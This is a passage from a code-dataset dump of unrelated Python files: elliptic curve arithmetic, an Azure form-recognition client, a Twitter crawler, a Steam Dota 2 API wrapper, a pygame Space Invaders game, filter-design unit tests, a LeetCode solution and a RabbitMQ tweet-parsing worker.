curve.CurveType==MONTGOMERY:\t\n\t\t\tA=self.x.copy()\n\t\t\tB=self.x.copy()\t\t\n\t\t\tAA=Fp(0)\n\t\t\tBB=Fp(0)\n\t\t\tC=Fp(0)\n\n\t\t\tA+=self.z\n\t\t\tAA=A*A\n\t\t\tB-=self.z\n\t\t\tBB=B*B\n\t\t\tC=AA \n\t\t\tC=AA-BB\n\t\t\tself.x=AA*BB\n\n\t\t\tA=C*((ECp.A+Fp(2)).div2().div2());\n\n\t\t\tBB+=A\n\t\t\tself.z=BB*C\t\t\n\n\t\treturn self\n\n\tdef add(self, other):\n\t\tif curve.CurveType==WEIERSTRASS:\n\t\t\tif ECp.A.iszero():\n\t\t\t\tb=(ECp.B+ECp.B+ECp.B)\n\t\t\t\tt0=self.x.copy()\n\t\t\t\tt0*=other.x\n\t\t\t\tt1=self.y.copy()\n\t\t\t\tt1*=other.y\n\t\t\t\tt2=self.z.copy()\n\t\t\t\tt2=t2*other.z\n\t\t\t\tt3=self.x.copy()\n\t\t\t\tt3+=self.y\n\t\t\t\tt4=other.x+other.y\n\t\t\t\tt3*=t4 \n\t\t\t\tt4=t0+t1\n\n\t\t\t\tt3-=t4\n\t\t\t\tt4=self.y+self.z\n\t\t\t\tx3=other.y+other.z\n\n\t\t\t\tt4*=x3\n\t\t\t\tx3=t1+t2\n\t\n\t\t\t\tt4-=x3\n\t\t\t\tx3=self.x+self.z\n\t\t\t\ty3=other.x+other.z\n\t\t\t\tx3*=y3\n\t\t\t\ty3=t0+t2\n\t\t\t\ty3=x3-y3 \n\t\t\t\tx3=t0+t0 \n\t\t\t\tt0+=x3 \n\t\t\t\tt2*=b\n\n\t\t\t\tz3=t1+t2\n\t\t\t\tt1-=t2 \n\t\t\t\ty3*=b\n\t\n\t\t\t\tx3=y3*t4\n\t\t\t\tt2=t3*t1 \n\t\t\t\tx3=t2-x3\n\t\t\t\ty3*=t0 \n\t\t\t\tt1*=z3 \n\t\t\t\ty3+=t1\n\t\t\t\tt0*=t3 \n\t\t\t\tz3*=t4 \n\t\t\t\tz3+=t0\n\n\t\t\t\tself.x=x3 \n\t\t\t\tself.y=y3\n\t\t\t\tself.z=z3\t\t\t\n\n\t\t\telse :\n\n\t\t\t\tt0=self.x.copy()\n\t\t\t\tt1=self.y.copy()\n\t\t\t\tt2=self.z.copy()\n\t\t\t\tt3=self.x.copy()\n\t\t\t\tt4=other.x.copy()\n\t\t\t\tz3=Fp(0)\n\t\t\t\ty3=other.x.copy()\n\t\t\t\tx3=other.y.copy()\n\t\t\t\tb=ECp.B\n\n\n\t\t\t\tt0*=other.x\n\t\t\t\tt1*=other.y\n\t\t\t\tt2*=other.z\n\n\t\t\t\tt3+=self.y\n\t\t\t\tt4+=other.y\n\t\t\t\tt3*=t4 \n\t\t\t\tt4=t0+t1\n\t\t\t\tt3-=t4\n\t\t\t \n\t\t\t\tt4=self.y+self.z\n\t\t\t\tx3+=other.z\n\t\t\t\tt4*=x3 \n\t\t\t\tx3=t1+t2\n\n\t\t\t\tt4-=x3\n\t\t\t\tx3=self.x+self.z\n\t\t\t\ty3+=other.z\n\n\t\t\t\tx3*=y3 \n\t\t\t\ty3=t0+t2\n\n\t\t\t\ty3=x3-y3\n\t\t\t\tz3=t2*b \n\t\t\t\t\t\t\t\t \n\t\t\t\tx3=y3-z3 \n\t\t\t\tz3=x3+x3\n\n\t\t\t\tx3+=z3\n\t\t\t\tz3=t1-x3\n\t\t\t\tx3+=t1\n\n\t\t\t\ty3*=b\n\n\t\t\t\tt1=t2+t2\n\t\t\t\tt2+=t1\n\n\t\t\t\ty3-=t2\n\n\t\t\t\ty3-=t0\n\t\t\t\tt1=y3+y3\n\t\t\t\ty3+=t1\n\n\t\t\t\tt1=t0+t0\n\t\t\t\tt0+=t1\n\t\t\t\tt0-=t2\n\t\t\t\tt1=t4*y3\n\t\t\t\tt2=t0*y3\n\t\t\t\ty3=x3*z3\n\t\t\t\ty3+=t2\n\t\t\t\tx3*=t3\n\t\t\t\tx3-=t1\n\t\t\t\tz3*=t4\n\t\t\t\tt1=t3*t0\n\t\t\t\tz3+=t1 \n\t\t\t\tself.x=x3\n\t\t\t\tself.y=y3\n\t\t\t\tself.z=z3\n\n\t\tif curve.CurveType==EDWARDS:\n\t\t\tA=self.z.copy()\n\t\t\tB=Fp(0)\n\t\t\tC=self.x.copy()\n\t\t\tD=self.y.copy()\n\t\t\tE=Fp(0)\n\t\t\tF=Fp(0)\n\t\t\tG=Fp(0)\n\t\t\tb=ECp.B\n\n\t\t\t#print(self.z.int())\n\n\t\t\tA*=(other.z) \n\t\t\tB=A*A \n\t\t\tC*=(other.x) \n\t\t\tD*=(other.y) \n\t\t\t#print(other.z.int())\n\t\t\tE=C*D \n\t\t\tE*=b\n\n\t\t\tF=B-E \n\t\t\tG=B+E \n\n\t\t\tif (ECp.A==Fp(1)) :\n\t\t\t\tE=D-C\n\t\n\t\t\tC+=D \n\n\t\t\tB=self.x+self.y \n\t\t\tD=other.x+other.y \n\t\t\tB*=D \n\t\t\tB-=C \n\t\t\tB*=F \n\t\t\tself.x=A*B \n\t\t\t\n\t\t\tif ECp.A==Fp(1) :\n\t\t\t\tC=E*G\n\t\t\tif ECp.A==Fp(-1) :\n\t\t\t\tC*=G\n\n\t\t\tself.y=A*C \n\n\t\t\tself.z=F\n\t\t\tself.z*=G\n\n\t\treturn self\n\n# For Montgomery use only\n\tdef dadd(self,Q,W) :\n\t\tA=self.x.copy()\n\t\tB=self.x.copy()\n\t\tC=Q.x.copy()\n\t\tD=Q.x.copy()\n\t\tDA=Fp(0)\n\t\tCB=Fp(0)\t\n\t\t\t\n\t\tA+=self.z \n\t\tB-=self.z \n\n\t\tC+=Q.z\n\t\tD-=Q.z\n\t\t\n\t\tDA=D*A\n\n\t\tCB=C*B\n\n\t\tA=DA+CB \n\t\tA*=A\n\t\tB=DA-CB \n\t\tB*=B\n\n\t\tself.x=A\n\t\tself.z=W.x*B\n\n\t\treturn self\n\n\tdef __rmul__(self, other): # use NAF\n\t\tR=ECp()\n\t\tif curve.CurveType==MONTGOMERY :\n\t\t\te=other\n\t\t\tD=ECp()\n\t\t\tR0=self.copy() \n\t\t\tR1=self.copy()\n\t\t\tR1.dbl()\n\n\t\t\tD=self.copy()\n\t\t\tD.affine();\n\t\t\tnb=e.bit_length()\n\t\t\tfor i in range(nb-2,-1,-1) :\n\t\t\t\tb=big.bit(e,i)\n\t\t\t\tR=R1.copy()\n\n\t\t\t\tR.dadd(R0,D)\n\t\t\t\tif b==1 :\n\t\t\t\t\tR0,R1=R1,R0\n\t\t\t\tR1=R.copy()\n\t\t\t\tR0.dbl()\n\t\t\t\tif b==1 :\n\t\t\t\t\tR0,R1=R1,R0\n\t\t\tR=R0.copy()\t\t\n\n\t\telse :\n\t\t\tb = other\n\t\t\tb3 = 3 * b\n\t\t\t#self.affine()\n\n\t\t\tmself = -self\n\t\t\tfor i in range(b3.bit_length() - 1, 0, -1):\n\t\t\t\tR.dbl()\n\t\t\t\tif big.bit(b3, i) == 1 and big.bit(b, i) == 0:\n\t\t\t\t\tR.add(self)\n\t\t\t\tif big.bit(b3, i) == 0 and big.bit(b, i) == 1:\n\t\t\t\t\tR.add(mself)\n\n\t\tR.affine()\n\t\treturn R\n\n\tdef mul(P, a, Q, b): # double multiplication a*P+b*Q\n\t\t#P.affine()\n\t\t#Q.affine()\n\t\tif a < 0:\n\t\t\ta = -a\n\t\t\tP = -P\n\t\tif b < 0:\n\t\t\tb = -b\n\t\t\tQ = -Q\n\t\tR = ECp()\n\t\tia = a.bit_length()\n\t\tib = b.bit_length()\n\t\tk = ia\n\t\tif (ib > ia):\n\t\t\tk = ib\n\t\tW = P.copy()\n\t\tW.add(Q)\n\t\t#W.affine()\n\t\tfor i in range(k - 1, -1, -1):\n\t\t\tR.dbl()\n\t\t\tif (big.bit(a, i) == 1):\n\t\t\t\tif (big.bit(b, i) == 1):\n\t\t\t\t\tR.add(W)\n\t\t\t\telse:\n\t\t\t\t\tR.add(P)\n\t\t\telse:\n\t\t\t\tif (big.bit(b, i) == 1):\n\t\t\t\t\tR.add(Q)\n\t\treturn R\n\n\tdef __str__(self):\t\t\t# pretty print\n\t\tW=self.copy()\n\t\tif W.isinf():\n\t\t\treturn \"infinity\"\n\t\tW.affine()\n\t\tif curve.CurveType==MONTGOMERY:\n\t\t\treturn \"(%x)\" % (W.x.int())\n\t\treturn \"(%x,%x)\" % (W.x.int(), W.y.int())\n\n# convert from and to an array of bytes\n\tdef fromBytes(self,W):\n\t\tt=W[0] #ord(W[0])\n\t\tsp1 = curve.EFS + 1\t # splits\n\t\tsp2 = sp1 + curve.EFS\n\t\tx=big.from_bytes(W[1:sp1]) \n\t\tif curve.CurveType==MONTGOMERY:\n\t\t\treturn self.set(x)\n\t\tif t==4 :\n\t\t\ty=big.from_bytes(W[sp1:sp2])\n\t\t\treturn self.setxy(x,y)\n\t\telse :\n\t\t\tif t==2 :\n\t\t\t\treturn self.set(x,0)\n\t\t\tif t==3 :\n\t\t\t\treturn self.set(x,1)\n\t\tself.inf()\n\t\treturn False\n\n# Can be compressed to just x\n\tdef toBytes(self,compress) :\n\t\tFS = curve.EFS\n\t\tif curve.CurveType==MONTGOMERY:\n\t\t\tPK = bytearray(FS+1)\n\t\t\tPK[0]=6\n\t\t\tx=self.get()\n\t\t\tW=big.to_bytes(x)\n\t\t\tfor i in range(0,FS) :\n\t\t\t\tPK[1+i]=W[i]\n\t\t\treturn PK\n\t\tif compress :\n\t\t\tPK = bytearray(FS+1)\n\t\t\tx,b = self.getx()\n\t\t\tif b == 0:\n\t\t\t\tPK[0]=2\n\t\t\telse :\n\t\t\t\tPK[0]=3\n\t\t\tW=big.to_bytes(x)\n\t\t\tfor i in range(0,FS) :\n\t\t\t\tPK[1+i]=W[i]\n\t\telse :\n\t\t\tPK = bytearray(2*FS+1)\n\t\t\tx, y = self.get()\n\t\t\tPK[0]= 4\n\t\t\tW=big.to_bytes(x)\n\t\t\tfor i in range(0,FS) :\n\t\t\t\tPK[1+i]=W[i]\n\t\t\tW=big.to_bytes(y)\n\t\t\tfor i in range(0,FS) :\n\t\t\t\tPK[1+i+FS]=W[i]\n\t\t\t\t\n\t\treturn PK\n\n# calculate Right Hand Side of elliptic curve equation y^2=RHS(x)\ndef RHS(x):\n\tif curve.CurveType==WEIERSTRASS:\n\t\treturn x * x * x + ECp.A * x + ECp.B\n\tif curve.CurveType==EDWARDS:\n\t\treturn (ECp.A*x*x-Fp(1))*((ECp.B*x*x-Fp(1)).inverse())\n\tif curve.CurveType==MONTGOMERY:\n\t\treturn x * x * x + ECp.A * x * x + x\t\n\n# get group generator point \ndef generator():\n\tG=ECp()\n\tif curve.CurveType==MONTGOMERY:\n\t\tG.set(curve.Gx)\n\telse :\n\t\tG.setxy(curve.Gx, curve.Gy)\n\n\treturn G","sub_path":"version3/python/ecp.py","file_name":"ecp.py","file_ext":"py","file_size_in_byte":9804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"379040465","text":"import json\nimport time\nfrom requests import get, post\nfrom config import FORM_RECOGNIZER_CONGIF\nfrom utilities.utilities import remove_file, decrypt_pdf\n\napim_key = FORM_RECOGNIZER_CONGIF['API_KEY']\npost_url = FORM_RECOGNIZER_CONGIF['ANALYZE_LAYOUT_ENDPOINT']\n\n\ndef init(filename, file_password, contentType='pdf', resultType=\"text\"):\n \"\"\"\n Initialize local form layout recognition process\n \"\"\"\n textResult = ''\n error_message = None\n if (contentType == 'pdf'):\n error, pdfFilename = decrypt_pdf(filename, password=file_password)\n filename = pdfFilename\n error_message = error\n\n if(not error_message):\n x = 'application' if contentType == 'pdf' else 'image'\n headers = {\n # Request headers\n 'Content-Type': f'{x}/{contentType}',\n 'Ocp-Apim-Subscription-Key': apim_key,\n }\n\n with open(filename, \"rb\") as f:\n data_bytes = f.read()\n\n try:\n resp = post(url=post_url, data=data_bytes, headers=headers)\n if resp.status_code != 202:\n textResult = f\"POST analyze failed:\\n{resp.text}\"\n\n get_url = resp.headers[\"operation-location\"]\n textResult = get_layout_results(get_url, resultType)\n remove_file(filename)\n\n except Exception as e:\n textResult = f\"POST analyze failed:\\n{str(e)}\"\n else:\n remove_file(filename)\n textResult = error_message\n\n return textResult\n\n\ndef parse_text(json_result):\n \"\"\"\n Parse final result from json response\n \"\"\"\n textResult = ''\n for result in json_result['analyzeResult']['readResults']:\n # textResult += f\"***Page No. {result['page']}***\\n\"\n for line in result['lines']:\n textResult += line['text']\n textResult += '\\n'\n textResult += '\\n'\n\n return textResult\n\n\ndef get_layout_results(get_url, resultType=\"text\"):\n \"\"\"\n Fetch requested form's layout results by using authorized token\n \"\"\"\n textResult = ''\n n_tries = 10\n n_try = 0\n wait_sec = 5\n stopProcess = False\n while (n_try < n_tries and not(stopProcess)):\n try:\n resp = get(url=get_url, headers={\n \"Ocp-Apim-Subscription-Key\": apim_key})\n resp_json = json.loads(resp.text)\n if resp.status_code != 200:\n textResult = f\"GET Layout results failed:\\n{resp_json}\"\n stopProcess = True\n\n status = resp_json[\"status\"]\n if status == \"succeeded\":\n if (resultType == \"text\"):\n textResult = parse_text(resp_json)\n elif (resultType == \"json\"):\n textResult = str(resp_json)\n stopProcess = True\n\n if status == \"failed\":\n textResult = f\"Layout Analysis failed:\\n{resp_json}\"\n stopProcess = True\n\n # Analysis still running. Wait and retry.\n time.sleep(wait_sec)\n n_try += 1\n\n except Exception as e:\n textResult = f\"GET analyze results failed:\\n{str(e)}\"\n stopProcess = True\n return textResult\n","sub_path":"CognitiveAPI/process_forms/extract_local.py","file_name":"extract_local.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"217329688","text":"import numpy as np\nimport numpy.random as npr\nimport os\n\n#data_dir='/home/ssd/fb_data/mtcnn_data/wider/'\n#data_dir = '/home/ssd/duank_plate_data/wider/imglists'\n#data_dir = '/home/xjyu//kgduan/yolo_v3/darknet/tools/face_list/'\ndata_dir = '/home/xjyu//kgduan/yolo_v3/darknet/tools/train_list/'\n#data_dir = '/home/xjyu//kgduan/yolo_v3/darknet/tools/plate_list/'\n#data_dir = '/home/ssd/duank_plate_data/wider/24rnet'\n#data_dir = '/home/xjyu/kgduan/plate_detect/prepare_data/plate_list/'\n#data_dir = '/home/ssd/duank_plate_data/wider/pnet_negative'\n\nwith open(os.path.join(data_dir, 'train.txt'), 'r') as f:\n lines = f.readlines()\n\n\nwith open(os.path.join(data_dir, \"train.txt\"), \"w\") as f:\n nums = len(lines)\n base_num = nums\n lines_keep = npr.choice(len(lines), size=int(base_num),replace=False) #int(base_num*12)\n\n for i in lines_keep:\n f.write(lines[i])\n","sub_path":"darknet_tools/shufv_imglist.py","file_name":"shufv_imglist.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"424275303","text":"#! /usr/bin/env python3\n#encoding: utf-8\n\nfrom datetime import datetime,timedelta\nfrom iotools import *\nfrom mytools import *\nfrom crawler import *\nfrom client import *\n\ndef search():\n\tprint(KWD)\n\tclient = TwitterClient()\n\tfw = JsonStorer('tw_search_%s' % KWD)\n\tdt,EndTm,inc = datetime(2014,11,30),datetime(2014,12,2),timedelta(1)\n\twhile dt < EndTm:\n\t\tst = dt.strftime('%Y-%m-%d')\n\t\tdt += inc\n\t\tet = dt.strftime('%Y-%m-%d')\n\t\tprint(st, et)\n\t\tquery = TW_QUERY.format((st, et))\n\t\turl = TW_SEARCH_URL.format(query)\n\t\treq =TwitterRequest(url)\n\t\treq.perform()\n\t\ttweets, cursor = client.parse_search(req)\n\t\twhile len(tweets)>0:\n\t\t\tprint(len(tweets), end=', ', flush=True)\n\t\t\tfw.write({'t':st, 'd':tweets})\n\t\t\turl = TW_SEARCH_SCROLL.format(query, cursor)\n\t\t\treq.set_url(url)\n\t\t\treq.perform()\n\t\t\ttweets, cursor = client.parse_search(req, False)\n\t\tprint()\n\tfw.close()\n\nif __name__=='__main__':\n\tsearch()\n\n\n","sub_path":"nonparall.py","file_name":"nonparall.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"66080713","text":"import unittest\r\nimport filterdesigner.FilterSpec as FilterSpec\r\nimport filterdesigner.FIRDesign as FIRDesign\r\nimport filterdesigner.IIRDesign as IIRDesign\r\n\r\nclass TestIsstable(unittest.TestCase):\r\n\r\n def setUp(self):\r\n self.order = 80\r\n self.cut = 0.5\r\n self.n = 3\r\n self.fc = 0.4\r\n\r\n def test_isstable_1(self):\r\n # Test case for FIR filter\r\n fil = FIRDesign.fir1(self.order, self.cut)\r\n self.assertTrue(FilterSpec.isstable(fil) == True)\r\n\r\n def test_isstable_2(self):\r\n # Test case for IIR filter\r\n fil = IIRDesign.butter(self.n, self.fc)\r\n self.assertTrue(FilterSpec.isstable(fil) == True)\r\n","sub_path":"filterdesigner/tests/test_isstable.py","file_name":"test_isstable.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"296968556","text":"# =============================================================================\n# >> IMPORTS\n# =============================================================================\n# API Imports\nfrom steam_api.api_base import SteamWebAPI\n\n\n# =============================================================================\n# >> CLASSES\n# =============================================================================\nclass IDOTA2Match_570(SteamWebAPI):\n def __init__(self):\n self.interface = 'IDOTA2Match_570'\n super(IDOTA2Match_570, self).__init__()\n\n def GetLeagueListing(self):\n params = {}\n return self.generate_api_url(self.interface, 'GetLeagueListing', 1,\n params, key=True)\n\n def GetLiveLeagueGames(self):\n params = {}\n return self.generate_api_url(self.interface, 'GetLiveLeagueGames', 1,\n params, key=True)\n\n def GetMatchDetails(self, match_id):\n params = {\n 'match_id': match_id,\n }\n return self.generate_api_url(self.interface, 'GetMatchDetails', 1,\n params, key=True)\n\n def GetMatchHistory(self, player_name=None, hero_id=None, game_mode=None,\n skill=None, date_min=None, date_max=None, min_players=None,\n account_id=None, league_id=None, start_at_match_id=None,\n matches_requested=None, tournament_games_only=None):\n params = {\n 'player_name': player_name,\n 'hero_id': hero_id,\n 'game_mode': game_mode,\n 'skill': skill,\n 'date_min': date_min,\n 'date_max': date_max,\n 'min_players': min_players,\n 'account_id': account_id,\n 'league_id': league_id,\n 'start_at_match_id': start_at_match_id,\n 'matches_requested': matches_requested,\n 'tournament_games_only': tournament_games_only,\n }\n return self.generate_api_url(self.interface, 'GetMatchHistory', 1,\n params, key=True)\n\n def GetMatchHistoryBySequenceNum(self, start_at_match_seq_num,\n matches_requested):\n params = {\n 'start_at_match_seq_num': start_at_match_seq_num,\n 'matches_requested': matches_requested,\n }\n return self.generate_api_url(self.interface,\n 'GetMatchHistoryBySequenceNum', 1, params, key=True)\n\n def GetTeamInfoByTeamID(self, start_at_team_id, teams_requested):\n params = {\n 'start_at_team_id': start_at_team_id,\n 'teams_requested': teams_requested,\n }\n return self.generate_api_url(self.interface, 'GetTeamInfoByTeamID', 1,\n params, key=True)","sub_path":"steam_api/games/dota2/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"562241773","text":"import pygame\r\nimport random as r\r\nimport math\r\nfrom pygame import mixer\r\n\r\n# Initialization of package\r\npygame.init()\r\n\r\n# screen creation\r\nscreen = pygame.display.set_mode((800, 600))\r\n\r\n# Title and icon\r\npygame.display.set_caption(\"Space Invaders\")\r\nicon = pygame.image.load(\"space.png\")\r\npygame.display.set_icon(icon)\r\n\r\n# Background music\r\nmixer.music.load('background.wav')\r\nmixer.music.play(-1)\r\n\r\n# Background\r\nbackground = pygame.image.load('background.png')\r\n\r\n# Player\r\nplayerImg = pygame.image.load(\"player.png\")\r\nplayerX = 370\r\nplayerY = 480\r\nplayerX_change = 0\r\n\r\n# Enemy\r\nenemyImg = list()\r\nenemyX = list()\r\nenemyY = list()\r\nenemyX_change = list()\r\nenemyY_change = list()\r\nnum_of_enemies = 6\r\nfor i in range(num_of_enemies):\r\n enemyImg.append(pygame.image.load(\"enemy.png\"))\r\n enemyX.append(r.randint(0, 735))\r\n enemyY.append(r.randint(50, 150))\r\n enemyX_change.append(6)\r\n enemyY_change.append(55)\r\n\r\n# Bullet\r\nbulletImg = pygame.image.load(\"bullet.png\")\r\nbulletX = 0\r\nbulletY = 480\r\nbulletX_change = 0\r\nbulletY_change = 8\r\n\"\"\" Ready - You can't see bullet on the screen\r\n Fire -- The bullet is currently moving\r\n\"\"\"\r\nbullet_state = \"ready\"\r\n\r\n# Score\r\nscore_value = 0\r\nfont = pygame.font.Font('freesansbold.ttf', 32)\r\n\r\ntextX = 10\r\ntextY = 10\r\n\r\n# Game over text\r\nover_font = pygame.font.Font('freesansbold.ttf', 64)\r\n\r\n\r\ndef show_score(x, y):\r\n score = font.render(\"Score: \" + str(score_value), True, (255, 255, 255))\r\n screen.blit(score, (x, y))\r\n\r\n\r\ndef game_over_text():\r\n over_text = over_font.render('GAME OVER', True, (255, 255, 255))\r\n screen.blit(over_text, (200, 250))\r\n\r\n\r\ndef player(x, y):\r\n screen.blit(playerImg, (x, y))\r\n\r\n\r\ndef enemy(x, y, i):\r\n screen.blit(enemyImg[i], (x, y))\r\n\r\n\r\ndef fire_bullet(x, y):\r\n global bullet_state\r\n bullet_state = \"fire\"\r\n screen.blit(bulletImg, (x + 16, y + 10))\r\n\r\n\r\ndef is_collision(ex, ey, bx, by):\r\n distance = math.sqrt((math.pow(ex - bx, 2)) + (math.pow(ey - by, 2)))\r\n # print(distance)\r\n if distance < 27:\r\n return True\r\n return False\r\n\r\n\r\n# Game Loop\r\nrunning = True\r\n\r\nwhile running:\r\n # RGB - red, green, blue\r\n screen.fill((255, 255, 255))\r\n screen.blit(background, (0, 0))\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = False\r\n\r\n # to check for keystroke whether it's right or left\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n playerX_change = -5\r\n if event.key == pygame.K_RIGHT:\r\n playerX_change = 5\r\n if event.key == pygame.K_SPACE:\r\n if bullet_state is \"ready\":\r\n bullet_sound = mixer.Sound('laser.wav')\r\n bullet_sound.play()\r\n bulletX = playerX\r\n fire_bullet(bulletX, bulletY)\r\n\r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n playerX_change = 0\r\n\r\n playerX += playerX_change\r\n\r\n if playerX <= 0:\r\n playerX = 0\r\n elif playerX > 736:\r\n playerX = 736\r\n\r\n for i in range(num_of_enemies):\r\n\r\n if enemyY[i] >= 350:\r\n for j in range(num_of_enemies):\r\n enemyY[j] = 1000\r\n game_over_text()\r\n break\r\n enemyX[i] += enemyX_change[i]\r\n if enemyX[i] <= 0:\r\n enemyX_change[i] = 2\r\n enemyY[i] += enemyY_change[i]\r\n elif enemyX[i] >= 736:\r\n enemyX_change[i] = -2\r\n enemyY[i] += enemyY_change[i]\r\n\r\n # Collision\r\n collision = is_collision(enemyX[i], enemyY[i], bulletX, bulletY)\r\n if collision:\r\n bulletY = 480\r\n bullet_state = \"ready\"\r\n score_value += 10\r\n enemyX[i] = r.randint(0, 735)\r\n enemyY[i] = r.randint(50, 150)\r\n\r\n explosion_sound = mixer.Sound('explosion.wav')\r\n explosion_sound.play()\r\n enemy(enemyX[i], enemyY[i], i)\r\n # Bullet movement\r\n\r\n if bulletY <= 0:\r\n bulletY = 480\r\n bullet_state = \"ready\"\r\n\r\n if bullet_state is \"fire\":\r\n fire_bullet(bulletX, bulletY)\r\n bulletY -= bulletY_change\r\n\r\n player(playerX, playerY)\r\n show_score(textX, textY)\r\n pygame.display.update()\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"645483251","text":"from typing import List\n\n\"\"\"\n\nGiven the array queries of positive integers between 1 and m,\nyou have to process all queries[i] (from i=0 to i=queries.length-1)\naccording to the following rules:\n\nIn the beginning, you have the permutation P=[1,2,3,...,m].\nFor the current i, find the position of queries[i] in the permutation P\n(indexing from 0) and then move this at the beginning of the\npermutation P. Notice that the position of queries[i] in P\nis the result for queries[i].\nReturn an array containing the result for the given queries.\n\nExample :\nInput: queries = [3,1,2,1], m = 5\nOutput: [2,1,2,1]\nExplanation: The queries are processed as follow:\n\nFor i=0: queries[i]=3, P=[1,2,3,4,5], position of 3 in P is 2,\nthen we move 3 to the beginning of P resulting in P=[3,1,2,4,5].\n\nFor i=1: queries[i]=1, P=[3,1,2,4,5], position of 1 in P is 1,\nthen we move 1 to the beginning of P resulting in P=[1,3,2,4,5].\n\nFor i=2: queries[i]=2, P=[1,3,2,4,5], position of 2 in P is 2,\nthen we move 2 to the beginning of P resulting in P=[2,1,3,4,5].\n\nFor i=3: queries[i]=1, P=[2,1,3,4,5], position of 1 in P is 1,\nthen we move 1 to the beginning of P resulting in P=[1,2,3,4,5].\nTherefore, the array containing the result is [2,1,2,1].\n\nLink : https://leetcode.com/problems/queries-on-a-permutation-with-key/\n\n\"\"\"\n\n\n'''\nNaive approach\nThere are three things you need to know:\n1. Find index by element\n2. Delete by index .pop(index_position)\n3. Insert by index .insert(position,element)\n\nbut list is the incorrect DS to use in python because it is not optimized for\nmultiple insertions and deletions.\nLists are not optimized for modifications at the front,\nand somelist.insert(0, something) is an O(n) operation.\nAll of the above mentioned approaches are O(n)\n\npython tip :\nCheck out itertools count instead of using List.index\nsince list.index returns first occurance only\n'''\n\n\nclass solution():\n def process_queries(self, queries: List[int], m: int) -> List[int]:\n permutation = [element for element in range(1, m+1)]\n sol = []\n for index in range(0, len(queries)):\n value = queries[index]\n ele = permutation.index(value)\n sol.append(ele)\n permutation.pop(ele)\n permutation.insert(0, value)\n return sol\n\n\nobj = solution()\n# print(obj.process_queries([3, 1, 2, 1], 5))\n# print(obj.process_queries([4, 1, 2, 2], 4))\nprint(obj.process_queries([7, 5, 5, 8, 3], 8))\n\n\n'''\n\nhttps://cp-algorithms.com/data_structures/fenwick.html\n\n'''\n","sub_path":"1409_queries_on_a_permutation_in_key.py","file_name":"1409_queries_on_a_permutation_in_key.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"170488911","text":"import os\nimport sys\nsys.path.append('../')\n\nfrom dateutil.parser import parse\n\nfrom middleware.rabbitmq_queue import RabbitMQQueue\nfrom middleware.rabbitmq_queues import RabbitMQQueues\nfrom middleware.log import Logger\nfrom middleware.shenlong_status_sender import ShenlongStatusSender\n\nTWIT_ID = 0\nAUTHOR_ID = 1\nINBOUND = 2\nCREATED_AT = 3\nTEXT = 4\n\nNUM_COLUMS = 7\n\nIS_CUSTOMER = \"True\"\n\nRECEIVE_QUEUE_NAME = \"preprocesed_twits\"\nSEND_QUEUE_NAME = \"raw_twits\"\nHEALTH_QUEUE = \"pings\"\n\nclass FilterParser(object):\n def __init__(self, send_queues, receive_queue, shenlong_sender, logger):\n self.send_queues = send_queues\n self.receive_queue = receive_queue\n self.shenlong_sender = shenlong_sender\n self.logger = logger\n self.received_twits = {}\n\n def run(self):\n self.logger.log(\"Start consuming\")\n self.shenlong_sender.start()\n self.receive_queue.consume(self._callback, self._eoj_callback)\n self.logger.log(\"Sending EOM to queues\")\n self.send_queues.send_eom()\n self.logger.log(\"Finish\")\n self.shenlong_sender.stop()\n self.shenlong_sender.join()\n\n def _callback(self, ch, method, properties, decoded_body):\n self.logger.log_with_frequency(\"Received line %s\", decoded_body)\n\n body_values = decoded_body.rstrip().split(\",\")\n twit_id = body_values[TWIT_ID]\n\n if (len(body_values) != NUM_COLUMS) or (body_values[INBOUND] != IS_CUSTOMER) or (twit_id in self.received_twits):\n self.logger.log_with_frequency(\"Twit discarted\")\n ch.basic_ack(delivery_tag = method.delivery_tag)\n return\n\n day = str(parse(body_values[CREATED_AT]).date())\n\n self.logger.log_with_frequency(\"Sending parsed value\")\n\n self.send_queues.send(\"{},{},{},{}\".format(body_values[TWIT_ID], body_values[AUTHOR_ID], day, body_values[TEXT]), body_values[TWIT_ID])\n\n self.received_twits[twit_id] = True\n\n ch.basic_ack(delivery_tag = method.delivery_tag)\n\n def _eoj_callback(self, eoj_msg):\n self.logger.log(\"Received EOJ\")\n self.send_queues.send_eoj(eoj_msg)\n self.logger.log(\"Send EOJ\")\n\nif __name__ == '__main__':\n rabbitmq_host = os.environ['RABBITMQ_HOST']\n filter_parser_workers = int(os.environ['FILTER_PARSER_WORKERS'])\n analyzer_workers = int(os.environ['ANALYZER_WORKERS'])\n\n worker_id = os.environ['SERVICE_ID']\n\n log_file = os.environ['LOG_FILE']\n log_frequency = int(os.environ['LOG_FREQUENCY'])\n\n send_queues = RabbitMQQueues(RECEIVE_QUEUE_NAME, rabbitmq_host, analyzer_workers)\n receive_queue = RabbitMQQueue(\"{}{}\".format(SEND_QUEUE_NAME, worker_id), rabbitmq_host)\n health_queue = RabbitMQQueue(HEALTH_QUEUE, rabbitmq_host)\n\n shenlong_sender = ShenlongStatusSender(\"FILTER-PARSER\", worker_id, health_queue)\n logger = Logger(\"FILTER PARSER [{}]\".format(worker_id), log_file, log_frequency)\n\n worker = FilterParser(send_queues, receive_queue, shenlong_sender, logger)\n\n logger.log(\"Worker created, started running\")\n worker.run()\n logger.log(\"Worker finished, 